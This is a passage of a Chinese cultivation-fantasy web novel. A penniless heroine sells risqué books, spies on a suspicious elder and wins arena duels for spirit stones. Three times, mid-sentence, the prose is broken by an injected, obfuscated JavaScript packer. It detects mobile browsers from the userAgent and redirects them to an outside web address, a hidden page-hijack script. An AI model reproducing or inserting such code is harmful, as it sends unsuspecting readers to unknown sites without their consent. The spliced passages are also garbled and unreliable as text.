还要还钱,季灵泽的经济状态一下子变得拮据了起来,第二天,她不得不拿出更香艳露骨的书籍摆上,挑了个更显眼的位置卖。 郁观完全不敢再来找她了。生怕她又抓着那些有伤风化的东西问他买不买。 凤潇潇和华漠一贯对季灵泽放养,季灵泽这些天早出晚归,他们也没多想,只当是她自己修炼比较勤奋。 直到某一天,华漠在路上走着走着,看见了一个依稀有点眼熟的白影子。 他沉默地走近,看清了季灵泽和她手上拿着的书。 “师妹?你……”纵然是华漠也语塞了。 季灵泽看见了他,眨眨眼,朝着他晃了晃手里的钱袋。 一生正直的华漠,罕见地为难了。 凌七很穷,他是一直知道的,要不要允许她卖这种书籍赚钱呢? 为难的华漠将这件事告诉了凤潇潇,想和她商量一下。 谁料到凤潇潇一拍桌子,豪气干云地道:“凌七都穷成那样了,我看着都可怜,她想赚钱就赚吧,我支持她!” 凤潇潇俨然已经成了一只护犊子的老母鸡,华漠无奈,默默把“可是有伤风化”咽了回去。 没有师兄师姐的管束,季灵泽更是如鱼得水,短短三天,她的书摊已经在仙灵城风靡一时,连大门派的几个修士都偷偷买了,争相传看,讨论得热烈。 第四天,季灵泽一如往常一样出来摆摊,她刚把书放下,就远远看见了一个蒙面人走了过来,那人捂得很严实,浑身上下就剩一双眼睛,她左右看了看,确定没人注意到她,这才走过来。 季灵泽将书依次排开,问道:“仙友想要哪一本?” 蒙面女子不语,只一本一本拿起来仔细看了看,最后目光停留在《仙尊哪里逃,霸道魔尊爱上我》,默默揣进怀里,将二百灵石递给季灵泽后转身走了。 她靠近的一刹那,季灵泽目光一凛,她居然看不透这个修士的境界。 这也就意味着,这个修士起码是出窍期。 季灵泽看着她的背影,挑了一下眉,掂了掂手里的灵石。 虽然开门红了一单,但她今日的运气并不算好,出摊半日后,迎来了第一劫。 季灵泽一眼便看见那是最最保守的万象宗的,定睛一看,居然还是一个元婴后期的,顿时感到不妙,来不及去看对方的表情,她将手里的书一股脑全塞进储物袋里,拔出招财剑跳上去就跑。 那万象宗的没料到这家伙这么警觉,当即大喊:“站住!我乃万象宗长老!把你手中的东西放下来!” 季灵泽御剑飞得更快了,她在心里默念追风咒,周遭狂风乍起,几乎把招财剑的速度催到了极致。 元婴后期的长老也不是吃素的,见她还敢逃跑,手中立马放出一张巨大的水网,兜头盖脸朝对面的人背后罩去。 季灵泽在水网快要接触到她后背的时候猛然拐了一个弯,水网扑了个空,她朝身后笑道:“长老,你也爱看?要花钱,不能白拿。” 万象宗长老被气得满脸胡子都吹了起来,他也跃入剑上,催动灵力朝她追去,元婴期的速度和金丹期完全不可同日而语,更别提才筑基的季灵泽了,他快得几乎只看见了一个残影。 眼看着就要跟上季灵泽,眼前忽然飘来一阵遮天蔽日的黄沙,瞬时间眼前一片模糊,什么都看不清了,季灵泽趁着这个时机收起剑,再次使用了一次幻影身,真身不假思索地跳进了离她最近的一个阁楼中。 万象宗长老一愣,这个才筑基的修士居然能熟练使用沙系灵力? 他挥手用水珠卷走了黄沙,见前面有一个白色小点在疯狂移动,立刻追上去,两股水流席卷而去,把白衣人捆住,他得意地停下步子:“让你再逃,带坏我宗弟子……” 他张目结舌,眼睁睁看着那白衣人大变活人,原地化作了一个刻着鬼脸的泥人,水柱一松,泥人掉落在地,摔成了四五瓣。 季灵泽躲在窗后屏息凝神,看着长老气得往泥人上踩了一脚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362820|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不解气,又踩了一脚,御剑去四周抓她了。 长老一时半刻恐怕不会离开这一片,她干脆就地坐下来,开始打量自己进的这间阁楼。 这阁楼从外观上看与普通阁楼并无什么区别,内里却别有玄机。阁楼内部有一排排的书架,红木质地,气味幽香,书架上一本书也没有,密密麻麻摆放的全都是小箱子,箱子上缠绕着带刺的藤蔓。 季灵泽认出了这种藤蔓,名曰人首藤,刺中有毒,见血封喉,是不死之地的特产。 不死之地是修真界的禁地,魔兽聚集,毒物遍地。且那里聚集了一批由仙入魔的修仙者,满身杀孽,单拿出来都足以止小儿夜啼。 但最让这个地方出名的,还是上代魔尊季灵泽。 她在那里种地。 她铲除了那些魔兽和毒物后,居然在那里种地,种的还是小麦和水稻! 而且她对自己种的东西呵护备至,哪怕是被偷偷摘了一两根小麦,她都势必要讨回来,抠搜至极! 这个事情每一个修真者,不论仙修魔修,都要狠狠唾弃一番。 是以,季灵泽对这地方具体有哪些植物烂熟于心,并且熟练掌握清理它们的办法。 但她现在并不打算动手,这个阁楼蹊跷的地方远不止于此,她隐约在这里嗅到了一丝熟悉的气息,每一个盒子中,都仿佛蕴藏着无限灵力。 随着靠近那些盒子,她的内丹躁动不安,前世入魔的惯性反应还刻在她的内丹上,一旦闻到浓郁灵力的气息,便贪婪地在她的灵台深处跳动。 忽而,远处传来轻微的脚步声。 季灵泽皱起眉,强压着身体的不适,捏了个隐身诀,封闭了除听觉以外的五感,将自己几乎变成一块没有呼吸的死物,静静潜伏在阁楼的角落里。 脚步声慢慢变得清晰,那人在进入阁楼的一刹那,停下了脚步,环顾四周。 “谁?” 季灵泽没有出声,她一动不动,与周围的墙壁融为一体。 窗外的飞鸟扑棱着翅膀飞过,四周安静得诡异,粗哑的鸟啼声格外明显。 来人警惕地转了一圈,没有发现异样,在离季灵泽三尺远的地方不动了。 季灵泽在他靠近过来的时候感知到了他的境界,元婴后期。 仙灵城修士众多,但元婴期依然只是凤毛麟角,各大仙门中,能达到元婴后期的,起码也是长老。 她能感觉到面前的人并非魔修,是一个纯正的修仙者。 那修士拿出传音石,对那石头道:“今年的仙选大会上有一批好苗子。” 接下来几乎都是他沉默着在听对面说话,等对面说完后,他道:“是,我明日会给您送去。” 脚步声渐渐移动到季灵泽身后,季灵泽耳朵一动,足尖微点,没有动用灵力,借力跃上了房梁,轻盈如一片羽毛,没有发出任何响动。 她前脚刚挪动,后脚那人的手便移到了了她刚刚站立的地方,按在书架上的小箱子上方。 他一触碰到那些人首藤,藤蔓便被抽干了水分干瘪下去,他等待了一会儿,直到所有缠绕其上带毒的藤蔓全部枯萎,才小心地拿起了箱子,放入储物袋中。 做完这一切,他转身离开。 季灵泽没有立即从房梁上下来,她侧耳倾听了片刻,确定了她方才的判断没错,那人脚步虚浮,这元婴后期恐怕有水分,她迅速从储物袋中拿出纸笔,寥寥记录了一下阁楼的方位,最后,再一次仔细环顾这里一遍,单手扒着窗户跳了下去。 循着那人的动静,她一路跟踪了过去。 10. 第 10 章 季灵泽浑身的灵力都被催发到极致,她没法御剑,只能硬靠着灵力幻化出一阵风,御风追上去,这种方式对筑基期来说是极大的考验,她循着那陌生仙修的方位追了一段时间后,明显感觉到后继无力。 不知道此人要去哪里,要见何人。 她拿出留音石,放在手中摩挲了一会儿,给郁观留了一道音:“记住这里,但不要去查探,强调一遍,不要去查探。” 她把刚刚记的阁楼位置迅速报了一遍。 交代完这些,她舒了口气,从兜里摸出凤潇潇给的那些补充灵力的丹药,取了几颗倒进口中,一口气全部咽了下去。 霎时间她只觉得经脉周遭灵力暴涨,过载的灵力在她的灵台之中四处冲击,如同无数双巨大的拳头砸向她的心脉,季灵泽嘴角溢出血来,身边的风却陡然变得猛烈起来,她一边缓慢地消化这些灵力,一边操纵风往那神秘人的方向狂奔。 神秘人忽而驻足,季灵泽立刻停下脚步,躲在一处残败的梧桐树后。 说时迟那时快,一股灼灼烈火铺天盖地烧了过来,巨大的爆炸声响起,直接点燃了那株梧桐树周围方圆五丈的土地,冲天火光顷刻间吞没了树后的季灵泽,于此同时,一个沉沉的嗓音响起,明显有些不悦:“你后面有只虫子跟了过来,你居然没有发现?” 神秘人一愣,向后看了去,那人又道:“别看了,那是个筑基期的废物,已经死了。” 他伸出一只手,摊开在神秘人面前,语气很平常:“你虽然元婴期,却连个筑基都发现不了,那些东西给了你,的确浪费。” 神秘人不着痕迹地咬了咬牙,低头把盒子放在那人手掌心中,忍气吞声道:“是。” “天生无能不是你的问题,你只要好好做事,我不会亏待你,”那人将盒子打开看了一眼,满意道,“这次仙选大会,能保证做到吗?” 神秘人深吸一口气,点点头。 那人不再废话,只听得半空中有流火一闪而过,顷刻间没了踪影。 神秘人也不再多留,御剑匆匆返回。 一直等了两个时辰,确保了方才二人不会去而复返,季灵泽这才从火堆里钻出来,方才性命攸关之时,她临时将自己幻化成了同样燃烧的一团火,堪堪逃过一劫,若她刚刚手慢一步,现在恐怕已经尸首异处了。 短时间内消耗太多灵力,灵台震颤,心脉又开始发疼,她一时间眼前有点儿黑,膝盖一软跪了下来,仓促间只来得及掏出招财剑撑着,才勉强没让自己摔倒在地。 出手之人境界远高于元婴期,方才乍然放出攻击,比从前的任何一次对决的压迫感都要大。 她形容狼狈,眼中却有腾腾杀意在其中冒起,如同一线雪亮的刀光。 魔尊季灵泽除了有不死地种菜之类荒唐的事迹,还有一个著名的名声。 ——睚眦必报。 传音石疯狂震动起来,季灵泽摸出来一看,发现石头已经开始发烫,也不知郁观焦急地联系了她多少次,她拖着招财剑坐到一边,用手抚摸了一下传音石,郁观秒接: “你没事吧?遇到什么事情了?你说的那个地方是怎么回事?为什么我不能去查探?” 他声音急促,显然刚刚被她这交代后事般没头没尾的一句话吓到了,以至于第一反应竟然是问她的安危。 季灵泽神色闪过一丝复杂。 她顿了顿,随口胡诌道:“传播不雅书籍,被你们万象宗的长老追杀了,随便找了个阁楼躲进去,发现里面有一屋子不雅书籍,也不知是谁的,但这屋子的禁制太厉害,我受伤了,和你说一声而已,你千万别进去啊。” 郁观长长松了一口气:“你以为我是你啊!我才不想看那些书!怎么样,我就说吧,你这行干不长久,长老没为难你吧?” “没,”季灵泽懒洋洋笑了一声,“我哪是那么容易被为难的。” 装,继续装。 郁观不爽地“啧”了一声,思索片刻,道:“你也别干这种吃力不讨好的生意了,我知道一个地方,可以赚不少钱。” 次日,郁观与季灵泽在街头相约,郁他一看到季灵泽的样子就惊呆了。 “你昨晚偷鸡摸狗去了?脸色这么差?” “都说了是被你们长老害的。” 季灵泽脸白得像鬼,她顶着两个明显的黑眼圈和一头乱发,默默叹气。 昨天心脉再次受伤,她又灵力使用过度,不得不花了一宿的时间补心脉,短时间内恐怕是无法动用灵力了。 郁观看着她这幅样子就糟心,摆了摆手,带着她七拐八拐进了一个小巷子,又在巷子里七拐八拐,拐进了仙灵城旁边的一座山。 周遭的人愈发稀疏,山中树木丛生,苍翠欲滴。正当季灵泽以为他要带自己去什么见不得人的地方时,脚下转过一块巨石,眼前豁然开朗,只见一个纵横半个后山的演武台拔地而起,彩云环绕,仙鹤长鸣。 演武台周围乌泱泱坐了一圈修士,都屏息凝神,个个紧紧盯着演武台上的人,时不时发出“哦”“哇”“咦”的语气词。 郁观用灵力给自己变了个样,又分出一部分灵力封入内丹深处,掩盖好自己的境界,这才走近。 季灵泽疑惑地盯着他,他轻咳一声,有点得意地解释道:“这里都是要参加仙选大会的人,像我这种金丹大圆满的修士很容易被关注的。” 演武台上的二人正在酣战,一处电光闪烁,一处火花四溅,整个演武台都被波及,片刻后,电光逐渐压过了火光,一名修士突然暴起,只见紫电如巨龙张开巨口,顷刻便吞没了火光,一声巨响后,另一修士手中的火光渐渐熄灭了,他连连后退几步,狼狈地窜下台叫到:“我认输!” 站在看台电灵力修士一侧的人爆发出一阵叫好,而另一侧的人则垂头丧气。 郁观看得兴起,侧过身看见了一脸茫然的季灵泽,轻咳一声介绍道:“这是仙灵城的固定活动,任何门派的弟子都可以上台随意单挑,一千灵石为注,赢了的就能拿到。刚刚赢了比赛的是蓬莱洲的梁胜,他已经连续赢了五场比赛。如果你能打败他,就能一次性赚五千。” 季灵泽精神一振,总是困倦的一双眼里陡然亮了亮,看向梁胜的目光瞬间变得充满热切,活像在看散财童子。 郁观瞧见她这副样子就知道她在想什么,无语地摇摇头,接着道:“别急,还有一些规则没说,挑战者不得高于被挑战者的境界,被挑战者在连续赢完多场后,有一次下台机会。梁胜是一个金丹期的修士,但他的雷电系灵力稀少,偶尔甚至能与金丹大圆满的一比,仅次于……喂!” 他还没说完,就眼睁睁看着身侧一道白影子飞快地飘上了台,季灵泽听到“有一次下台机会”便急冲冲上去了,生怕晚一秒没人挑战,梁胜就会主动退场。 郁观:“……” 季灵泽一上台,周围刚准备离开的修士瞬间又如潮水一般涌了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362821|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来,瞬间响起了一片激烈讨论声: “这谁?你认识吗?” “不知道啊,等等,她怎么才筑基?” “没被梁胜打过,自不量力呗。” …… 她上台时,梁胜正在擦拭自己的佩剑,头也没抬:“报上名来。” 季灵泽缓缓抽出半截招财剑,道:“沧山派凌七。” 梁胜缓缓抬起头,一眼就看见她破破烂烂的佩剑,不由得轻蔑一笑,摇摇头,道:“你还是换一把佩剑再来和我比试吧,不然我胜之不武。” 季灵泽低头看看招财剑,用习惯了这把剑,有时候会忘记它还是把断剑,她把招财抛出去,熟练地跳了上去,单脚站立着,不紧不慢道:“赢了你,我就有钱换了。” 梁胜一听到这句话,不由得哈哈大笑。一个筑基期对他而言不过是蜉蝣撼树,差得远了,眼前这小门小派的人初出茅庐就如此猖狂,是时候让她见识见识他的厉害。 他站在原地,抬起剑尖指向她,哼笑道:“一会儿别哭着回去。” 说罢,他的手一把握住自己的剑柄,一抹电光顺着手指亮起,剑尖至剑身立刻被发紫的电光笼罩,只听一声厉喝:“紫电,去!” 手中的紫电剑脱手而出,快若雷霆,不偏不倚向着季灵泽的面中射来! 季灵泽驾驶着招财剑微微一侧身,紫电堪堪顺着她的衣角划过,调转方向继续扎向她,下一秒,她手中不知何时捻来一颗小石子,中指与大拇指按着石子轻轻一弹,石子旋转着射出,将紫电剑撞偏了一寸,就是这落空的一刹那,她如同一支飞矢掠过大半个演武台,瞬移到了梁胜身后。 台下的郁观顿时坐直了身子,凌七准备动手了吗? 所有人都屏住呼吸要看她怎么出手,结果让他们大跌眼镜,季灵泽没有动用灵力,只友好地拍了怕梁胜的肩膀:“继续努力。” 观赛的人震惊了。 台下一脸期待的郁观默默坐了回去。 这是什么招数? 梁胜愤怒至极:“你竟敢看不起我!!!” 他顾不上紫电剑还没到手中,立刻转身劈来一掌。 季灵泽换了一只脚踩着剑,凭空飘出去数十米,躲过梁胜劈向她的一掌。 冤枉,她并非嘲讽他,而是昨天透支了身体,实在经不起再使用灵力。刚刚出手前才记起来这一点,临时忍住了,改成了友好鼓励一下梁胜。 她,季灵泽,一向是个真诚的人。 可惜真诚的人格外容易被误解。 梁胜被刺激到了,握着紫电剑指天一晃,只见半空中顿时阴云密布,隐隐能听见雷鸣声,整个半山腰已经全部黑了下来,周遭仿佛瞬间进入了夜晚。台下已经有认识他这一招的人惊叫起来:“天公怒!是梁胜的成名绝技天公怒!” 季灵泽仰头望天,微微一眯眼。 黑云翻滚如怒浪,忽有一线闪电划破黑暗寂静的空中,撕天裂地。 梁胜的脸握着剑的手指在不停颤抖,脸因为太用力已经涨红成了猪肝色,他忽然仰头长啸一声,只见翻滚的黑云深处无数雷电结成小团,“噼里啪啦”作响,空气里都弥漫着一股焦味。 那些雷电团一边燃烧一边砸向地面,天旋地转,仿佛空中有无数颗星星同时坠落,密密匝匝地向着季灵泽所站的位置倾倒过去。 下面已经有修士不忍地闭上了眼睛,这猖狂的修士,估计要好好脱层皮。 11. 第 11 章 就在所有人都以为季灵泽必输无疑之时,她动了。 只是一眨眼的功夫,白衣女子的身体如同一朵飘动的云,又像是一阵轻快的风,平地掠入半空。 众人甚至没能看清她的动作,只看见半空中一抹夺目的白色从闪耀的紫电中腾挪而过! 她自如地穿行在惊雷之中,炸开的雷声似在她耳边咆哮,她充耳不闻,动作轻盈如同在顺着雷声响起的频率舞蹈,缥缈的白衣流淌在墨色天空中。 天地灰暗,唯她皎然。 不过瞬息之间,躲过七七四十九道天雷。 做到这一切,她靠的是纯粹的速度与反应力,甚至没有动用灵力。 这一瞬间不只是对面的梁胜,所有观赛的人都感受到了巨大的压迫感。 越来越多的天雷劈下,又一次又一次被季灵泽四两拨千斤地躲过,梁胜额头上青筋暴起,他后退数步,剧烈地喘着气,握着剑的手再也维系不住,手中的剑锵然落在地上。 天空中的黑云渐渐散去,一抹烈阳冲破云层而出,笼罩了整个演武台,顷刻间风云变幻,白昼重现。 一缕阳光落在季灵泽的发梢上,将她的眸子照出琉璃般的色彩,她停下躲避,御剑缓缓降落,跳下剑后,她收起招财剑入鞘,一步步走向梁胜。 天公怒对施法者的身体也是极大的负担,梁胜眼睁睁看着她走来却无计可施,憋得汗都流了下来,他勉强积攒起一丝灵力,绷紧了手指,蓄势待发。 季灵泽的脚停在他身前三尺左右,弯腰捡起他掉落的剑递给他,平和道:“你的紫电。” 梁胜愣了愣,接过佩剑,沉默不语。 就在所有人都以为他要认输的时候,他突然暴起,提剑迎面劈了下去,紫电带着未散去的电光,直直逼至季灵泽身前,眼看就要落下! 季灵泽毫不意外,轻笑了一声。 她手中的招财剑顿时出鞘,不知何时那剑上居然沾染了方才电闪雷鸣中的一抹电弧,只见招财与紫电相撞,电与电争锋相对,刺眼的光束闪过,梁胜不得不眯了一下眼睛,季灵泽看准这个时机,手腕一翻,招财向上一挑,剑尖抵在了梁胜脖颈处,不动了。 全场寂静。 片刻后,几声清脆的掌声响起,郁观率先拍了几下手掌,很快回过神的人们陆续鼓起掌来,轰动的掌声立刻淹没了整个半山腰。 白衣仙修的断剑抵在对方喉咙上,神情自若。 胜负已定。 梁胜彻底脱力,他咬牙看了一眼季灵泽,深深呼吸几次后,抓起紫电下台,在同门的搀扶中离开了。 下一秒,台上的季灵泽再也维持不了什么仙风道骨高手风范,她迫不及待将一边的五千灵石揽入怀中,笑得眼睛都弯成了一条缝,丝毫没有方才面对天雷时的冷静和潇洒。 谁也没能想到这个名扬修真界的废材能一举打败梁胜,一时间,四下里响起一片窃窃私语。 郁观没眼看季灵泽见钱眼开的样子,他摇摇头,刚准备走,一抬头就看到了一个熟悉的人。 南宫策。 南宫家的长子,蓬莱洲的少主,修真界百年以来修炼速度最快的天才。 郁观最讨厌他,能在一百岁时修到金丹大圆满的四个修士大多有几分天之骄子的傲气,但南宫策最先突破金丹期进入元婴期,他不只是傲,还傲得很讨厌。 他身后乌泱泱跟着一群蓬莱洲的人,其中包括方才落败的梁胜,梁胜对南宫策低声说了几句,南宫策皱了一下眉,抬脚跨上演武台。 台下人均已经认出了他,一时间哗然。 “我没看错,那是南宫策吧?” “就是他,他怎么会来这里?” “难道是给梁胜讨说法?” “他可是元婴期的天才,不至于欺负一个筑基吧。” …… 季灵泽摸着灵石的手微微一停,立刻把灵石放进储物袋里,偏头看向南宫策。 她不认识这个人,但能觉察出他的修为,警惕道:“你不会要把这些灵石要回去吧?这是我好不容易赢的。” 南宫策的武器是一把琴,名曰七弦桐,他指尖微动,别在腰间的精致匣子开了,七弦桐琴落在他掌心后迅速变大,横在他双手之间,每一根琴弦都泛着淡淡的青光。 台下已经有修士出声阻止:“南宫公子,演武台规矩,无对方同意,不得主动挑战境界低于自己的修士。” 南宫策淡淡瞥了一眼出声的修士,而后将目光转向季灵泽,冷淡道:“你的速度不该是筑基期,应当是金丹大圆满,说,你是不是隐瞒了自己的境界。” 他甚至没有用疑问的口吻,平铺直叙,十足的肯定。 郁观在台下没忍住幸灾乐祸地笑起来,终于有人和他当初一样不可置信错判凌七的境界了,这人还是一贯心高气傲的天才南宫策,莫名有点爽是怎么回事? 季灵泽见这人不是来要回自己的灵石的,顿时放下心来,她一摊手,特别坦荡: “在下凌七,筑基前期,童叟无欺。” “不可能!”南宫策注视着季灵泽,斩钉截铁,“我从来没见过筑基修士能不动用灵力躲过梁胜的天公怒。” 季灵泽只想拿着灵石回去继续补心脉,并不打算多费口舌,闻言,笑了笑: “那你现在见到了。” 说罢,她收了招财剑,向台下走去,身后忽然响起一声琴弦响动声,与此同时,地面上长出了一根藤蔓,一把勾住了季灵泽的脚踝,阻止她继续前进。 这个举动很冒犯,季灵泽眉心一蹙,“啧”了一声,招财剑出手,干脆利索地一剑斩断了藤蔓,藤蔓一分为二,她用脚将藤蔓踢下台去,侧身,冷笑道:“你算什么东西也来挑衅我?” 她困得很,更兼心脉有伤,心情不太美妙,南宫策刚好撞到了枪口上。 此言一出,不管是台下还是台上都凝固了。 只有没心没肺的梁胜在一边大声道:“这是我们蓬莱洲少主,百年一遇的天才,这一届仙选大会元婴期第一人,南宫师兄!” 季灵泽扬眉,转过身盯着南宫策,懒洋洋地道:“演武台站不下这么多人。” 梁胜:“……” 与梁胜相比,南宫策显得很镇定,他抱琴望着她,言简意赅:“和我单挑一局。” 季灵泽抱臂,语气无波无澜:“你凭什么?” 南宫策的目光扫过她手中的断剑,道:“赢了我,一万灵石。” 一万! 季灵泽的目光顿时变了,她放下手,确认了一遍:“不用灵力赢你算吗?” 嚣张。 南宫策看她的目光冰冷如刀:"算。" 季灵泽又问:“我输了要给你一万灵石吗?” 南宫策已经有些不耐:“不必。” 她又仔细问道:“若你发现我确实是筑基,能给我三千灵石赔罪吗?” 南宫策彻底失去耐心:“给你便是!” 好人。大大的好人。 季灵泽看着他的目光一下子变得热切了起来,方才那点摩擦被她抛到了九霄云外,她立刻对着台下喊道:“南宫公子与我约好了,请诸君见证。” 郁观仰头看着台上的人,一时间不知道该说什么好。 凌七简直是……见钱眼开,她也不怕自己输了丢面子。 刚想着,他耳边突然响起了一道声音:“你一会儿如果发现他要逼我用灵力,及时叫停。” 季灵泽在台上站着,目光清湛,姿态从容,一点儿也看不出她现在偷偷用了隔空传音。 郁观:“……合着你没有把握啊。” 站在台上的季灵泽朝他隐晦地眨眨眼:“输了我又没什么损失。” 南宫策早已经失去耐心,见她同意下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362822|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当即抱着琴飘至上空,双指轻轻按了一下第一根弦。 只是一个很简单的动作,半山的草木却同时停下了摇摆,无数花、草、树、藤同时转向,面对季灵泽。 一时间,整座山静得只能听见台下修士们的呼吸声。 季灵泽目光沉静,招财出鞘,她没有立刻跨上去,而是微不可察地攥紧了剑柄。 “叮咚。” 南宫策修长的指尖缓慢拂过琴弦,悠扬的琴声如水波扩散开来,一圈一圈淹没了山林。 演武台下除了郁观以外的众人都被琴声影响,忍不住凝滞了一瞬间。 霎时间,离演武台近的所有草木都开始疯狂生长,原本只有拇指粗的藤蔓迅速变粗变大,长成了蟒蛇大小,密密麻麻地爬上演武台,长过半空中,浑身长满了尖锐的倒刺,猛然向季灵泽刺来! 下一秒,方才还站在原地的季灵泽凭空消失了。 南宫策眯了眯眼,不假思索按下琴弦抱琴旋身。 果然,季灵泽故技重施,从他身后砍来一剑,恰好与转身的南宫策对上,藤蔓仿佛预测了她的动向,眨眼间改变方向,倒刺比方才还长了十倍,眼看就要往季灵泽的后脑勺扎去! 他们对视一眼,南宫策还没来得及开口,就见季灵泽眼中浮现出一丝笑意。 台下的郁观头皮一紧。 他太熟悉凌七这个笑容了。 下一秒,南宫策眼睁睁看着这人干脆利索地单膝跪下了。 刺向季灵泽后脑的藤蔓来不及改向,朝着南宫策的咽喉而来,南宫策狠狠一抓琴弦,硬生生将藤蔓静止在离他咽喉一寸的地方。 就是这一秒的停顿,季灵泽顺着跪下来的姿势用招财剑的剑柄用力戳向南宫策的小腹,因为是比试,她没有下杀手,但这一击还是用了十成十的力气,撞击在南宫策身上时能听见极为明显的闷响。 “少主!” 台下蓬莱洲的弟子齐齐惊呼起来。 南宫策自幼境界提升就极快,宗门之中很少有能与他有一战之力的人,谁料到在一个散修手中吃了亏。 在季灵泽撞击过去的刹那,南宫策衣料上迅速长出一层密密实实的宽厚树叶,表面已经石化,季灵泽这一击直接干碎了那正在飞速生长的石叶,石叶瞬间土崩瓦解,消散成灰,南宫策受到冲击,连续后退几步,抱琴的手不稳地颤了一下。 季灵泽笑吟吟地道:“不要忘了我们的赌约。” 说话间,她抽出了招财剑,一跃而起,凌空砍下,剑气如虹,所到之处藤蔓尽碎。 元婴期对上筑基期,原本应该是碾压的状态,但南宫策和季灵泽的实战经验差距太大,居然一时间让季灵泽占了上风。 与此同时南宫策也回过神来,手指飞速上下翻飞,琴弦颤动,他的手指快出了残影,季灵泽的脚下苔藓突然开始疯长,滑腻的植物铺满了她站立的地方,季灵泽站立不稳,她立刻将招财剑扎入厚实的苔藓中,稳住自己的身形。 然而乐曲声愈发急促,苔藓顺着曲声暴涨,墨绿色毛茸茸的湿润苔藓像是一股漩涡,一下子长到了人的小腿处,立刻卷没了本来就只有一半的招财剑。 如此一来,季灵泽没有了武器,又无法使用灵力,只能赤手空拳与发狂的植物贴身肉搏,最糟糕的是,成堆的苔藓严重限制了她的活动,她每走一步就像在滑行,极为不便。 攻守易势,一身白衣的女子被大片大片浓重的绿色包围,天上的藤蔓,地上的苔藓,交织成一片绿色的海洋,几乎要把那个白点淹没。 “还是不愿用灵力吗?”南宫策的声音响起,他眉心紧皱,打到这个地步还不用灵力,她必然隐瞒了自己的境界。 台上台下一片肃静,无数双眼睛都盯着季灵泽,猜忌、嘲讽、怀疑、不解…… 季灵泽面色不变,她抓着那把没入苔藓里的招财剑,静静站在原地。 12. 第 12 章 苔藓慢慢长在了招财剑上,然后顺着招财剑开始攀向季灵泽的衣服,半空中刚刚被切断的藤蔓再一次扭动着长出倒刺,从上空压了下来。 天罗地网,无处可逃。 季灵泽终于动了。 她举起长满厚实苔藓的招财剑,迎着带刺的藤蔓撞了过去,刺扎进了苔藓深处,还在疯狂生长的苔藓瞬间与倒刺缠在一起,苔藓与倒刺勾连黏合,紧紧缠绕在了一起。 季灵泽足尖轻踩地面,借着藤蔓抽过来的力度从苔藓漩涡中抽身而出,荡向正在弹琴的南宫策,像一只灵活的窜天猴。 南宫策脸色大变。 观战的众人纷纷傻了。 不是,还能这样? 窜天猴季灵泽以迅雷不及掩耳之势逼至南宫策面前,直接放弃招财剑,南宫策慌乱之下向后闪避,正中季灵泽下怀! 她的目标本就不是他,只见季灵泽松开攥剑的手,从半空中落下,飞起一脚狠狠踹在了南宫策的琴上,七弦桐琴原地飞了出去,在半空中划出一道影子,被她一脚踹下了演武台。 上来单挑的修士,离开演武台即算作认输,南宫策不可下台去拿琴。 攻守再度易势,现在轮到南宫策没了武器。 蓬莱洲的修士们先是一愣,反应过来后,脸纷纷黑了。 凌七到现在一丝灵力没有用过,却打败了梁胜,现在甚至有能和南宫策分庭抗礼的势头,太憋屈了! 而且她的打法一点规律都没有,让人想找破绽都不知道往哪儿找,恶心! 季灵泽看着面前神情错愕的南宫策,朝他眨了一下眼睛。 元婴期的灵力本该十分强势,但南宫策缺乏实战,也许是境界太高的原因,蓬莱洲的其他弟子十分崇拜他,从不会主动单挑他,以至于他强悍的灵力完全没有发挥出应有的作用。 如果是季灵泽,在刚刚琴脱手的一瞬间,就会及时操纵藤蔓接住,绝不会让自己陷入现在的局面。 她无视了对面南宫策复杂的目光,低头把陷在苔藓里的招财剑用力拔出来,地面上满是滑溜溜的苔藓,她随手用招财剑的断口削了削,勉强让自己有了一块能稳定站立的地方。 现在他们两个一个失去了武器,一个无法使用灵力,都提防着对方的动作,没有轻易发起攻击。 正当众人聚精会神打算看他们如何决一胜负时,半空中传来一声极响亮的怒喝: “南!宫!策!” 季灵泽和南宫策皆一愣,只见眼前一团火一样的红衣闪过,女子脚踩飞剑,手攥凤尾鞭,周身浴火,杀气腾腾地一路飞来。 是凤潇潇。 她身后跟着同样面色凝重的华漠,他手心里飘着一团云雾,始终寸步不离地跟着凤潇潇,时不时紧张地观察她一下。 凤潇潇显然是得到消息一路赶来的,气得也顾不上风度了,指着南宫策就骂,飚出了怒音: “凌七只是个刚筑基的小修士,境界尚不稳固,你一个元婴期的居然公然欺负她!你还要脸吗?!” 被指控欺负人,实际上武器都没了的南宫策:……? 换做平时,面对南宫策这样的天之骄子,凤潇潇能忍也就忍了,但这次不行,凌七出发前才升筑基,看起来脸色又差,万一有个三长两短怎么办? 她畅快淋漓地骂完,又转身检查了一遍季灵泽,蹙眉问:“有没有哪里不舒服?” 